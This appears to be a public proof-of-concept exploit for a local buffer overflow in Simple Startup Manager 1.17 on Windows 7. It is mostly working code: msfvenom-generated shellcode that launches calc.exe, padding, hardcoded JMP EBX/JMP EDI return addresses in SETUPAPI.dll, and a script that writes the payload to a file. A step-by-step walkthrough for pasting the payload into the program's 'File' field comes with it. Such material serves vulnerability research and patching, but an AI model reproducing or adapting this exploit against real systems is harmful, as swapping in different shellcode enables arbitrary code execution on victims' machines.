# Exploit Title: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC) # Exploit Author: PovlTekstTV# Date: 2020-07-15# Vulnerable Software: Simple Startup Manager# Software Link Download: http://www.ashkon.com/download/startup-manager.exe# Version: 1.17# Vulnerability Type: Local Buffer Overflow# Tested on: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)# DEP and ASLR Disabled on system# Space for shellcode: 264#!/usr/bin/python# Two sets of instructions are needed:# 1. JMP EDI# 2. JMP EBX # I found these in the OS-module: SETUPAPI.dll, which is usually protected using ASLR# The exploit will properly not work unless changed/bruteforced.# It is also possible to overwrite the SEH-handler with 600+ bytes,# however I did not find any POP, POP, RETs.# Walkthrough:# 1.- Run the python script, it will create a new file "exploit.txt"# 2.- Copy the content of the new file 'exploit.txt' to clipboard# 3.- Turn off DEP for startup-manger.exe# 4.- Open 'startup-manger.exe'# 5.- Click 'New' or go to 'File' and click 'New'# 6.- Paste content from clipboard into 'File' parameter# 7.- Click on 'OK'# 9.- Calc.exe runs.#Identified the following badchars: x00 x0a x09 x0c x0d x3a x5c#msfvenom -p windows/exec cmd=calc.exe -f c -b "\x00\x0a\x0c\x0d\x3a\x5c"
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbe\xcb\xe3\xc2\xa5\x5a\x33\xc9\xb1""\x31\x83\xc2\x04\x31\x72\x14\x03\x72\xdf\x01\x37\x59\x37\x47""\xb8\xa2\xc7\x28\x30\x47\xf6\x68\x26\x03\xa8\x58\x2c\x41\x44""\x12\x60\x72\xdf\x56\xad\x75\x68\xdc\x8b\xb8\x69\x4d\xef\xdb""\xe9\x8c\x3c\x3c\xd0\x5e\x31\x3d\x15\x82\xb8\x6f\xce\xc8\x6f""\x80\x7b\x84\xb3\x2b\x37\x08\xb4\xc8\x8f\x2b\x95\x5e\x84\x75""\x35\x60\x49\x0e\x7c\x7a\x8e\x2b\x36\xf1\x64\xc7\xc9\xd3\xb5""\x28\x65\x1a\x7a\xdb\x77\x5a\xbc\x04\x02\x92\xbf\xb9\x15\x61""\xc2\x65\x93\x72\x64\xed\x03\x5f\x95\x22\xd5\x14\x99\x8f\x91""\x73\xbd\x0e\x75\x08\xb9\x9b\x78\xdf\x48\xdf\x5e\xfb\x11\xbb""\xff\x5a\xff\x6a\xff\xbd\xa0\xd3\xa5\xb6\x4c\x07\xd4\x94\x1a""\xd6\x6a\xa3\x68\xd8\x74\xac\xdc\xb1\x45\x27\xb3\xc6\x59\xe2""\xf0\x39\x10\xaf\x50\xd2\xfd\x25\xe1\xbf\xfd\x93\x25\xc6\x7d""\x16\xd5\x3d\x9d\x53\xd0\x7a\x19\x8f\xa8\x13\xcc\xaf\x1f\x13""\xc5\xd3\xfe\x87\x85\x3d\x65\x20\x2f\x42")
payload = shellcode
payload +=("A"*(268-len(payload)-4))
payload +=("\xe4\xa9\x4e\x76")#0x764ea9e4 (JMP EBX) {PAGE_READONLY} [SETUPAPI.dll]
payload +=("\x5f\xbc\x4e\x76")#0x764ebc5f (JMP EDI) {PAGE_READONLY} [SETUPAPI.dll]#Write payload to file
file = open("exploit.txt",'w')
file.write(payload)
file.close()